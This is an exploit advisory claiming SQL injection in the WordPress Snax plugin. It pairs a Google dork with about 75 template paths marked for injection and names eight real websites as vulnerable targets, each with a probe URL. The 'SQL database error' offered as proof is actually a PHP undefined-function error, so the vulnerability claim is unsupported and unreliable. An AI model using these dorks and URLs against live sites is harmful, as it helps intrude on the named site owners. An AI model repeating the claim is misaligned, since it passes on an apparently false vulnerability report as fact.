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# Exploit Title : WordPress Snax Plugins 4.9.x SQL Injection
# Author [ Discovered By ] : KingSkrupellos
# Team : Cyberizm Digital Security Army
# Date : 28/01/2019
# Vendor Homepage : snax.bringthepixel.com
# Software Information Link : codecanyon.net/item/snax-viral-frontend-uploader/16540363
# Software Version : 4.9.x and other previous versions
# Software Price : 30$
# Tested On : Windows and Linux
# Category : WebApps
# Exploit Risk : Medium
# Google Dorks : inurl:''/wp-content/plugins/snax/templates/''
# Vulnerability Type : CWE-89 [ Improper Neutralization of 
Special Elements used in an SQL Command ('SQL Injection') ]

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# Description :
*************

Snax Viral Content Builder by bringthepixel lets site visitors (frontend) and editors (backend) 

create quizzes, polls, lists, memes and other viral content.

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# Impact :
**********

* WordPress Snax Plugin for WordPress 4.9.x and other versions is prone to an 

SQL-injection vulnerability because it fails to sufficiently sanitize user-supplied 

data before using it in an SQL query.

* Exploiting this issue could allow an attacker to compromise the application, read,

access or modify data, or exploit latent vulnerabilities in the underlying database. 

If the webserver is misconfigured, read & write access to the filesystem may be possible.

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# SQL Injection Exploit :
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/wp-content/plugins/snax/templates/amp/content-gallery.php?id=[SQL Injection]

/wp-content/plugins/snax/templates/amp/content-list.php?id=[SQL Injection]

/wp-content/plugins/snax/templates/amp/content.php?id=[SQL Injection]

/wp-content/plugins/snax/templates/buddypress/items/loop-items.php?id=[SQL Injection]

/wp-content/plugins/snax/templates/buddypress/items/pagination-bottom.php?id=[SQL Injection]

/wp-content/plugins/snax/templates/buddypress/items/pagination.php?id=[SQL Injection]

/wp-content/plugins/snax/templates/buddypress/items/section-approved.php?id=[SQL Injection]

/wp-content/plugins/snax/templates/buddypress/items/section-pending.php?id=[SQL Injection]

/wp-content/plugins/snax/templates/buddypress/posts/loop-posts.php?id=[SQL Injection]

/wp-content/plugins/snax/templates/buddypress/posts/pagination-bottom.php?id=[SQL Injection]

/wp-content/plugins/snax/templates/buddypress/posts/pagination.php?id=[SQL Injection]

/wp-content/plugins/snax/templates/buddypress/posts/section-approved.php?id=[SQL Injection]

/wp-content/plugins/snax/templates/buddypress/posts/section-draft.php?id=[SQL Injection]

/wp-content/plugins/snax/templates/buddypress/posts/section-pending.php?id=[SQL Injection]

/wp-content/plugins/snax/templates/buddypress/votes/loop-vote.php?id=[SQL Injection]

/wp-content/plugins/snax/templates/buddypress/votes/loop-votes.php?id=[SQL Injection]

/wp-content/plugins/snax/templates/buddypress/votes/pagination-bottom.php?id=[SQL Injection]

/wp-content/plugins/snax/templates/buddypress/votes/pagination.php?id=[SQL Injection]

/wp-content/plugins/snax/templates/buddypress/votes/section-downvotes.php?id=[SQL Injection]

/wp-content/plugins/snax/templates/buddypress/votes/section-upvotes.php?id=[SQL Injection]

/wp-content/plugins/snax/templates/content.php?id=[SQL Injection]

/wp-content/plugins/snax/templates/demo/form-embed.php?id=[SQL Injection]

/wp-content/plugins/snax/templates/demo/form-gallery.php?id=[SQL Injection]

/wp-content/plugins/snax/templates/demo/form-image.php?id=[SQL Injection]

/wp-content/plugins/snax/templates/demo/form-list.php?id=[SQL Injection]

/wp-content/plugins/snax/templates/demo/form-meme.php?id=[SQL Injection]

/wp-content/plugins/snax/templates/fb-instant-articles/content-list.php?id=[SQL Injection]

/wp-content/plugins/snax/templates/items/form-edit/row-description.php?id=[SQL Injection]

/wp-content/plugins/snax/templates/items/form-edit/row-legal.php?id=[SQL Injection]

/wp-content/plugins/snax/templates/items/form-edit/row-referral.php?id=[SQL Injection]

/wp-content/plugins/snax/templates/items/form-edit/row-source.php?id=[SQL Injection]

/wp-content/plugins/snax/templates/items/form-edit/row-title.php?id=[SQL Injection]

/wp-content/plugins/snax/templates/items/form-new-audio.php?id=[SQL Injection]

/wp-content/plugins/snax/templates/items/form-new-embed.php?id=[SQL Injection]

/wp-content/plugins/snax/templates/items/form-new-image.php?id=[SQL Injection]

/wp-content/plugins/snax/templates/items/form-new-text.php?id=[SQL Injection]

/wp-content/plugins/snax/templates/items/form-new-video.php?id=[SQL Injection]

/wp-content/plugins/snax/templates/items/form-new.php?id=[SQL Injection]

/wp-content/plugins/snax/templates/items/nav.php?id=[SQL Injection]

/wp-content/plugins/snax/templates/items/note.php?id=[SQL Injection]

/wp-content/plugins/snax/templates/pages/about.php?id=[SQL Injection]

/wp-content/plugins/snax/templates/polls/content-answer.php?id=[SQL Injection]

/wp-content/plugins/snax/templates/polls/content-question.php?id=[SQL Injection]

/wp-content/plugins/snax/templates/polls/loop-answers.php?id=[SQL Injection]

/wp-content/plugins/snax/templates/polls/loop-questions.php?id=[SQL Injection]

/wp-content/plugins/snax/templates/polls/pagination.php?id=[SQL Injection]

/wp-content/plugins/snax/templates/polls/poll.php?id=[SQL Injection]

/wp-content/plugins/snax/templates/polls/progress-coins.php?id=[SQL Injection]

/wp-content/plugins/snax/templates/posts/content-gallery.php?id=[SQL Injection]

/wp-content/plugins/snax/templates/posts/content-list.php?id=[SQL Injection]

/wp-content/plugins/snax/templates/posts/content.php?id=[SQL Injection]

/wp-content/plugins/snax/templates/posts/note.php?id=[SQL Injection]

/wp-content/plugins/snax/templates/posts/origin.php?id=[SQL Injection]

/wp-content/plugins/snax/templates/posts/voting-box.php?id=[SQL Injection]

/wp-content/plugins/snax/templates/posts/form-edit/row-actions.php?id=[SQL Injection]

/wp-content/plugins/snax/templates/posts/form-edit/row-categories.php?id=[SQL Injection]

/wp-content/plugins/snax/templates/posts/form-edit/row-description.php?id=[SQL Injection]

/wp-content/plugins/snax/templates/posts/form-edit/row-draft-actions.php?id=[SQL Injection]

/wp-content/plugins/snax/templates/posts/form-edit/row-featured-image.php?id=[SQL Injection]

/wp-content/plugins/snax/templates/posts/form-edit/row-legal.php?id=[SQL Injection]

/wp-content/plugins/snax/templates/posts/form-edit/row-list-options.php?id=[SQL Injection]

/wp-content/plugins/snax/templates/posts/form-edit/row-referral.php?id=[SQL Injection]

/wp-content/plugins/snax/templates/posts/form-edit/row-source.php?id=[SQL Injection]

/wp-content/plugins/snax/templates/posts/form-edit/row-tags.php?id=[SQL Injection]

/wp-content/plugins/snax/templates/quizzes/actions-end.php?id=[SQL Injection]

/wp-content/plugins/snax/templates/quizzes/actions-start.php?id=[SQL Injection]

/wp-content/plugins/snax/templates/quizzes/content-answer.php?id=[SQL Injection]

/wp-content/plugins/snax/templates/quizzes/content-question.php?id=[SQL Injection]

/wp-content/plugins/snax/templates/quizzes/intro.php?id=[SQL Injection]

/wp-content/plugins/snax/templates/quizzes/loop-answers.php?id=[SQL Injection]

/wp-content/plugins/snax/templates/quizzes/loop-questions.php?id=[SQL Injection]

/wp-content/plugins/snax/templates/quizzes/pagination.php?id=[SQL Injection]

/wp-content/plugins/snax/templates/quizzes/progress-coins.php?id=[SQL Injection]

/wp-content/plugins/snax/templates/widget-call-to-action.php?id=[SQL Injection]

/wp-content/plugins/snax/templates/widget-teaser/poll-binary.php?id=[SQL Injection]

/wp-content/plugins/snax/templates/widget-teaser/poll-versus.php?id=[SQL Injection]

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# Example Vulnerable Sites :
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[+] universopop.com.br/wp-content/plugins/snax/templates/widget-call-to-action.php?id=1%27

[+] ongelofelijk.eu/wp-content/plugins/snax/templates/items/nav.php?id=1%27

[+] ekler.mk/wp-content/plugins/snax/templates/items/nav.php?id=1%27

[+] almosari3.info/wp-content/plugins/snax/templates/items/nav.php?id=1%27

[+] topfivebuzz.com/wp-content/plugins/snax/templates/items/nav.php?id=1%27

[+] pokestgo.cl/wp-content/plugins/snax/templates/items/nav.php?id=1%27

[+] js.pl/wp-content/plugins/snax/templates/items/nav.php?id=1%27

[+] yoogbe.com/wp-content/plugins/snax/templates/items/nav.php?id=1%27

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# Example SQL Database Error :
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Fatal error: Uncaught Error: Call to undefined function 
snax_get_frontend_submission_page_url() in /home/unive684/public_html
/wp-content/plugins/snax/templates/widget-call-to-action.php:8 Stack trace: 
#0 {main} thrown in /home/unive684/public_html/wp-content/plugins
/snax/templates/widget-call-to-action.php on line 8

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# Discovered By KingSkrupellos from Cyberizm.Org Digital Security Team 

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